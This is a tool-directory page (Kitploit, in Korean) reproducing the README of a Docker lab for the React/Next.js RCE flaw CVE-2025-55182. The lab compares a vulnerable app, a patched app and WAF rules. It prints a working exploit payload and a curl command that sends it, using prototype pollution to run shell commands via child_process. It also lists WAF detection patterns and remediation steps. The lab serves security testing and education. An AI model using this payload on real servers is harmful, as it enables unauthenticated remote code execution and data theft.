Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cve-2025-55182-test-lab-windows — Docker 기반 테스트 랩으로, React 19.1.0/Next.js 15.1.0에서 CVE-2025-55182 (React2Shell) RCE 취약점을 테스트할 수 있습니다. 익스플로잇 스크립트, NGINX/ModSecurity를 이용한 WAF 우회 테스트, 그리고 보안 교육을 위한 패치된 버전 비교 기능을 포함합니다. | Kitploit
도구/GitHubGitHub/fankh/cve-2025-55182-test-lab-windows
Vulnerability AnalysisExploitationWeb Application ExploitationWAF BypassCTFPenetration TestingLearning & EducationPayload DevelopmentLabs & Practice

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHubfankh/cve-2025-55182-test-lab-windows

cve-2025-55182-test-lab-windows

Docker 기반 테스트 랩으로, React 19.1.0/Next.js 15.1.0에서 CVE-2025-55182 (React2Shell) RCE 취약점을 테스트할 수 있습니다. 익스플로잇 스크립트, NGINX/ModSecurity를 이용한 WAF 우회 테스트, 그리고 보안 교육을 위한 패치된 버전 비교 기능을 포함합니다.

저장소 보기
8개월 전아직 검토되지 않음

CVE-2025-55182 (React2Shell) 테스트

⚠️ 경고: 실제로 동작하는 원격 코드 실행(RCE) 취약점을 포함하고 있습니다.

📋 목차

  • 개요
  • 취약점 정보
  • 빠른 시작
  • 실제 공격 시연
  • 테스트 환경
  • WAF 방어 룰
  • 파일 구조
  • 참고 자료
  • 법적 고지

개요

CVE-2025-55182 (React2Shell) 취약점 테스트를 위한 컨테이너 테스트 환경입니다.

주요 특징

  • ✅ 실제 취약점 재현 - React 19.1.0 / Next.js 15.1.0 환경
  • ✅ RCE 공격 성공 - 실제 명령어 실행 확인
  • ✅ WAF 방어 테스트 - NGINX 및 Apache ModSecurity 룰 설정
  • ✅ 패치 버전 비교 - 취약 버전 vs 패치 버전 테스트
  • ✅ 완전한 Docker 환경 - 격리된 컨테이너 환경

공격 결과

root@kitploit:~
🔴 CRITICAL VULNERABILITY CONFIRMED!
   Successfully executed 6/7 commands

Executed Commands:
  ✅ whoami: root
  ✅ hostname: c89f1bd355b2
  ✅ pwd: /app
  ✅ id: uid=0(root) gid=0(root) groups=0(root)...
  ✅ uname: Linux c89f1bd355b2 6.6.87.2-microsoft-standard-WSL2...
  ✅ node-ver: v20.19.6

취약점 정보

CVE-2025-55182 (React2Shell)

CVSS 점수: 10.0 (CRITICAL)
영향: 원격 코드 실행 (RCE)
인증 요구: 없음
공격 벡터: 네트워크

취약한 버전

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: < 15.0.5, < 15.1.9, < 15.2.6, < 15.3.6, < 15.4.8, < 15.5.7, < 16.0.7

패치된 버전

  • React: 19.1.2+
  • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

공격 원리

  1. Prototype Pollution - $1:__proto__:then을 통한 프로토타입 오염
  2. Function Constructor 접근 - Blob 역직렬화($B 접두사)를 통한 접근
  3. 임의 코드 실행 - 공격자가 제어하는 코드로 함수 생성
  4. 시스템 명령 실행 - child_process를 통한 RCE
root@kitploit:~
// 공격 페이로드 구조
{
  "then": "$1:__proto__:then",           // Object.prototype.then 오염
  "status": "resolved_model",
  "reason": -1,
  "value": '{"then": "$B0"}',            // Blob 역직렬화 트리거
  "_response": {
    "_prefix": "악성_코드",               // 실행할 코드
    "_formData": {
      "get": "$1:constructor:constructor"  // Function constructor 접근
    }
  }
}

빠른 시작

사전 요구사항

  • Docker Desktop
  • Node.js 20+ (로컬 테스트용, 선택사항)
  • 최소 4GB RAM
  • 2GB 이상의 여유 디스크 공간

1단계: 환경 시작

Windows (PowerShell):

root@kitploit:~
PowerShell -ExecutionPolicy Bypass -File .\run-tests.ps1 start

2단계: 상태 확인

root@kitploit:~
.\run-tests.ps1 status

전체 컨테이너가 healthy 상태가 될 때까지 기다려야합니다 (약 1-2분 소요).

3단계: 공격 실행

Windows (PowerShell):

root@kitploit:~
# 방법 1: PowerShell 스크립트 사용 (권장)
.\tests\exploit-working.ps1

# 방법 2: Node.js 직접 실행
node tests\exploit-working.js

### 4단계: 결과 확인

서버 로그에서 명령어 실행 결과를 확인할 수 있습니다:

```bash
docker compose logs vulnerable-app --tail=20

공격 시연

자동화된 공격 스크립트

exploit-working.js ⭐ 권장

Windows:

root@kitploit:~
# PowerShell 스크립트 (권장)
.\tests\exploit-working.ps1

# 또는 Node.js 직접 실행
node tests\exploit-working.js

실행 내용:

  • ✅ 임의의 쉘 명령어 실행
  • ✅ 서버 로그에서 명령어 출력 캡처
  • ✅ 다수 명령어 자동 테스트
  • ✅ 상세한 취약점 보고서 제공

테스트되는 명령어:

  • whoami - 현재 사용자 (root)
  • hostname - 컨테이너 호스트명
  • pwd - 작업 디렉토리 (/app)
  • id - 전체 사용자 정보
  • uname -a - 시스템 정보
  • node --version - Node.js 버전

수동 공격

curl을 사용한 직접 공격

root@kitploit:~
# 페이로드 파일 생성
cat > payload.txt << 'EOF'
------WebKitFormBoundary123
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\": \"$B0\"}","_response":{"_prefix":"console.log('[EXPLOIT] RCE Success');const result=require('child_process').execSync('whoami').toString();console.log('[RESULT]',result);","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundary123
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundary123--
EOF

# 공격 전송
curl -X POST http://localhost:3000/ \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary123" \
  -H "Next-Action: exploit" \
  --data-binary @payload.txt

# 로그 실행 확인
docker compose logs vulnerable-app --tail=20 | grep -E "\[EXPLOIT\]|\[RESULT\]"

사용자 정의 명령어 실행

공격 스크립트를 수정하여 원하는 명령어를 실행할 수 있습니다:

root@kitploit:~
// exploit-working.js 파일에서:
const tests = [
  { name: 'custom', cmd: 'ls -la /app', desc: '애플리케이션 디렉토리 목록' },
  { name: 'env', cmd: 'printenv', desc: '환경 변수 출력' }
]

테스트 환경

Docker 컨테이너

애플리케이션 환경

  • 프레임워크: Next.js 15.1.0 (App Router)
  • React 버전: 19.1.0 (취약)
  • Node.js: 20.19.6

테스트 시나리오

시나리오 1: 취약 버전 공격

root@kitploit:~
# 작동하는 공격 실행
node tests/exploit-working.js

# 예상 결과: 명령어 실행 성공
# 출력: 사용자 정보, 시스템 세부 정보 등

시나리오 2: 패치된 버전 테스트

Windows (PowerShell):

root@kitploit:~
# PowerShell 스크립트 사용
.\tests\exploit-working.ps1 -Port 3001

예상 결과: 공격 실패 (React 19.1.2가 공격을 차단함)

시나리오 3: WAF 차단 테스트

Windows (PowerShell):

root@kitploit:~
# NGINX WAF를 통한 공격 시도
.\tests\exploit-working.ps1 -Port 8080

예상 결과: WAF 룰에 의해 차단


WAF 방어 룰

NGINX 방어 룰

위치: nginx/nginx.conf

탐지 패턴:

  1. Prototype Pollution - __proto__, constructor:constructor
  2. Flight Protocol 악용 - $X:__proto__, $B 참조
  3. Gadget Chain - child_process, execSync, require()
  4. URL Encoding 우회 - %5f%5fproto%5f%5f
  5. 의심스러운 헤더 - Next-Action: #constructor

차단 동작:

root@kitploit:~
HTTP 403 Forbidden
{
  "error": "Request blocked by WAF",
  "protection": "CVE-2025-55182",
  "waf": "NGINX"
}

Apache ModSecurity 룰

위치: apache/modsecurity-rules.conf

룰 ID 범위: 100001-100017

주요 룰:

  • 100001: __proto__ 탐지
  • 100002: Constructor chain 접근
  • 100003-100004: Flight protocol 악용
  • 100006-100007: Gadget chain 패턴
  • 100008-100011: RCE 시도 (child_process, exec, spawn, require)
  • 100015: 의심스러운 Next-Action 헤더
  • 100017: 이상 점수 기반 차단

WAF 테스트

root@kitploit:~
# NGINX 차단 테스트
curl -X POST http://localhost:8080/ \
  -H "Content-Type: application/json" \
  -d '{"__proto__": {"polluted": true}}'

# 예상 응답: HTTP 403

# ModSecurity 차단 테스트
curl -X POST http://localhost:8081/ \
  -H "Next-Action: test#constructor" \
  -d '{"data": "test"}'

# 예상 응답: HTTP 403

WAF 로그 확인

root@kitploit:~
# NGINX 보안 로그
docker compose exec nginx tail -f /var/log/nginx/security.log

# Apache ModSecurity 감사 로그
docker compose exec apache tail -f /var/log/apache2/modsec_audit.log

⚠️ WAF 제한사항

중요: 현재 WAF 구성에는 다음과 같은 제한사항이 있습니다:

NGINX (포트 8080)

  • ❌ Request body를 검사하지 않음
  • NGINX 기본 설정은 URL, 쿼리 파라미터, 헤더만 검사
  • Exploit payload는 multipart/form-data body에 포함되어 있어 탐지되지 않음
  • 해결책: lua-nginx-module 또는 별도의 WAF 솔루션 필요

Apache ModSecurity (포트 8081)

  • ⚠️ Next.js가 POST 요청을 거부 (405 Method Not Allowed)
  • ModSecurity는 활성화되어 있고 body 검사도 가능
  • 하지만 Next-Action 헤더가 필요한데, 이 헤더만으로는 충분한 보호 불가
  • 현재 상태: WAF가 body를 검사하기 전에 405 응답

실제 공격 방어:

  • ✅ 가장 효과적인 방법: React/Next.js를 패치된 버전으로 업그레이드 (포트 3001, 8082)
  • ⚠️ WAF는 부분적 보호만 제공: Body 검사가 필요한 공격에는 제한적

파일 구조

root@kitploit:~
cve-2025-55182-test-lab-windows/
├── README.md                           # README
├── docker-compose.yml                  # Docker 환경 설정
├── run-tests.ps1                       # Windows 실행 스크립트
├── run-tests.sh                        # Linux/Mac 실행 스크립트
│
├── vulnerable-app/                     # 취약 버전 애플리케이션
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.0, Next.js 15.1.0
│   ├── next.config.js
│   ├── app/
│   │   ├── layout.js                   # 기본 레이아웃
│   │   ├── page.js                     # 메인 페이지
│   │   └── api/
│   │       └── health/                 # 헬스 체크 엔드포인트
│   │           └── route.js
│   └── tests/                          
│
├── patched-app/                        # 취약점 해결 버전 애플리케이션
│   ├── Dockerfile
│   ├── package.json                    # React 19.1.2, Next.js 15.1.9
│   ├── next.config.js
│   └── app/
│       ├── layout.js
│       ├── page.js
│       └── api/
│           └── health/
│               └── route.js
│
├── tests/                              # 공격 스크립트
│   ├── exploit-working.js              # RCE 공격 (Node.js)
│   ├── exploit-working.ps1             # RCE 공격 (PowerShell)
│   └── exploit-working.cmd             # RCE 공격 (배치 파일)
│
├── nginx/                              # NGINX WAF 설정
│   ├── nginx.conf                      # CVE-2025-55182 차단 룰
│   └── nginx-patched.conf              # 프락시 설정
│
└── apache/                             # Apache ModSecurity 설정
    ├── Dockerfile
    ├── apache-config.conf
    └── modsecurity-rules.conf          # ModSecurity 차단 룰

공격 확인 방법

방법 1: 스크립트 출력 확인

공격 스크립트가 직접 결과를 표시합니다:

root@kitploit:~
[whoami] Sending exploit...
  ✅ SUCCESS! Output: root

방법 2: 서버 로그 모니터링

root@kitploit:~
# 실시간 로그 모니터링
docker compose logs -f vulnerable-app

# 확인 필요 사항:
# [EXPLOIT] Executing: whoami
# [RESULT] root

방법 3: 공격 지표 확인

root@kitploit:~
# 공격이 실행되었는지 확인
docker compose exec vulnerable-app ps aux | grep node

# 파일 시스템 변경 확인 (파일을 작성한 경우)
docker compose exec vulnerable-app ls -la /tmp

조치 방안

npm 패치

  1. React 업그레이드 - 19.1.2 이상 설치:

    root@kitploit:~
    npm install react@^19.1.2 react-dom@^19.1.2
    
  2. Next.js 업그레이드 - 15.1.9 이상 설치:

    root@kitploit:~
    npm install next@^15.1.9
    
  3. 재빌드 및 재배포:

    root@kitploit:~
    npm run build
    # 프로덕션 환경에 배포
    

패치 후 검증

Windows (PowerShell):

root@kitploit:~
# 패치된 버전으로 테스트
.\tests\exploit-working.ps1 -Port 3001

# 또는
$env:TARGET_PORT=3001; node tests\exploit-working.js

Linux/Mac:

root@kitploit:~
# 패치된 버전으로 테스트
TARGET_PORT=3001 node tests/exploit-working.js

결과 예시: ℹ️ Exploitation failed

패치 불가 시 보안 방안

  1. WAF 룰 배포 - 본 프로젝트의 NGINX/ModSecurity 룰 사용
  2. 네트워크 세그먼테이션 - 외부 접근 제한
  3. Rate Limiting - Server Action 엔드포인트에 제한 적용
  4. 로그 모니터링 - 공격 시도 로그 감시

Docker 명령어

환경 관리

root@kitploit:~
# 시작
.\run-tests.ps1 start

# 상태 확인
.\run-tests.ps1 status

# 로그 보기
.\run-tests.ps1 logs

# 중지
.\run-tests.ps1 stop

# 초기화 (모든 컨테이너 및 볼륨 삭제)
.\run-tests.ps1 clean

문제 해결

공격이 작동하지 않는 경우

Windows (PowerShell):

root@kitploit:~
# 1. 버전 확인
docker compose exec vulnerable-app npm list react next

# 다음과 같이 표시되어야 함:
# [email protected]
# [email protected]

# 2. 서버가 응답하는지 확인
curl http://localhost:3000

# 3. Docker 로그 확인
docker compose logs vulnerable-app --tail=50

# 4. 컨테이너 재시작
docker compose restart vulnerable-app

출력 값 확인이 불가한 경우

Windows (PowerShell):

root@kitploit:~
# PowerShell에서 로그 필터링
docker compose logs vulnerable-app --tail=20 | Select-String "EXPLOIT|RESULT"

Docker Desktop이 실행되지 않음 (Windows 전용)

오류 증상:

root@kitploit:~
error during connect: Get "http://%2F%2F.%2Fpipe%2FdockerDesktopLinuxEngine...

해결 방법:

  1. Docker Desktop 실행
  2. 트레이 아이콘이 녹색인지 확인
  3. docker ps 명령어로 확인

PowerShell 스크립트 실행 불가 (Windows 전용)

오류 증상:

root@kitploit:~
이 시스템에서 스크립트를 실행할 수 없으므로...

해결 방법:

root@kitploit:~
# 현재 세션에만 적용
Set-ExecutionPolicy -ExecutionPolicy Bypass -Scope Process

# 또는 직접 실행
PowerShell -ExecutionPolicy Bypass -File .\tests\exploit-working.ps1

권한 오류

Docker가 실행 중이고 권한이 있는지 확인:

모든 플랫폼:

root@kitploit:~
docker compose ps

포트 충돌

다른 애플리케이션이 포트를 사용 중인 경우:

Windows (PowerShell):

root@kitploit:~
# 포트 사용 프로세스 확인
netstat -ano | findstr :3000

# 프로세스 종료 (PID 확인 후)
taskkill /PID <PID> /F

모든 플랫폼 (docker-compose.yml 수정):

root@kitploit:~
# 포트를 변경하여 충돌 회피
services:
  vulnerable-app:
    ports:
      - "3010:3000"  # 3000 → 3010으로 변경

WAF가 작동하지 않는 경우

모든 플랫폼:

root@kitploit:~
# NGINX 설정 테스트
docker compose exec nginx nginx -t

# Apache 설정 테스트
docker compose exec apache apachectl configtest

# 로그 확인
docker compose logs nginx --tail=30
docker compose logs apache --tail=30

참고 자료

공식 보안 권고문

  • React 보안 권고문
  • Vercel CVE-2025-55182 요약
  • Next.js CVE-2025-66478 권고문
  • NVD - CVE-2025-55182

기술 분석

  • Datadog Security Labs - CVE-2025-55182
  • Wiz Blog - React의 중요한 RCE
  • Palo Alto Unit42 분석
  • Kaspersky 블로그
  • OX Security 블로그

Proof of Concepts

  • msanft/CVE-2025-55182
  • dwisiswant0/CVE-2025-55182
  • EynaExp/CVE-2025-55182-POC
  • Spritualkb/CVE-2025-55182-exp
  • ejpir/CVE-2025-55182-research

라이선스

이 프로젝트는 교육 및 보안 연구 목적으로 제공됩니다.

사용 제한:

  • 승인된 보안 테스트 용도로만 사용
  • 악의적 목적으로 수정 금지

도구 다운로드
포트서비스React 버전용도WAF 상태
3000vulnerable-app19.1.0취약함 - CVE-2025-55182 테스트❌ 보호 없음
3001patched-app19.1.2안전함 - 패치 효과 검증✅ 패치됨
8080nginx → vulnerable19.1.0WAF 테스트 (NGINX)⚠️ 제한적 (body 미검사)
8081apache → vulnerable19.1.0WAF 테스트 (ModSecurity)⚠️ 제한적 (405 응답)
8082nginx → patched19.1.2이중 보호 테스트✅ 패치됨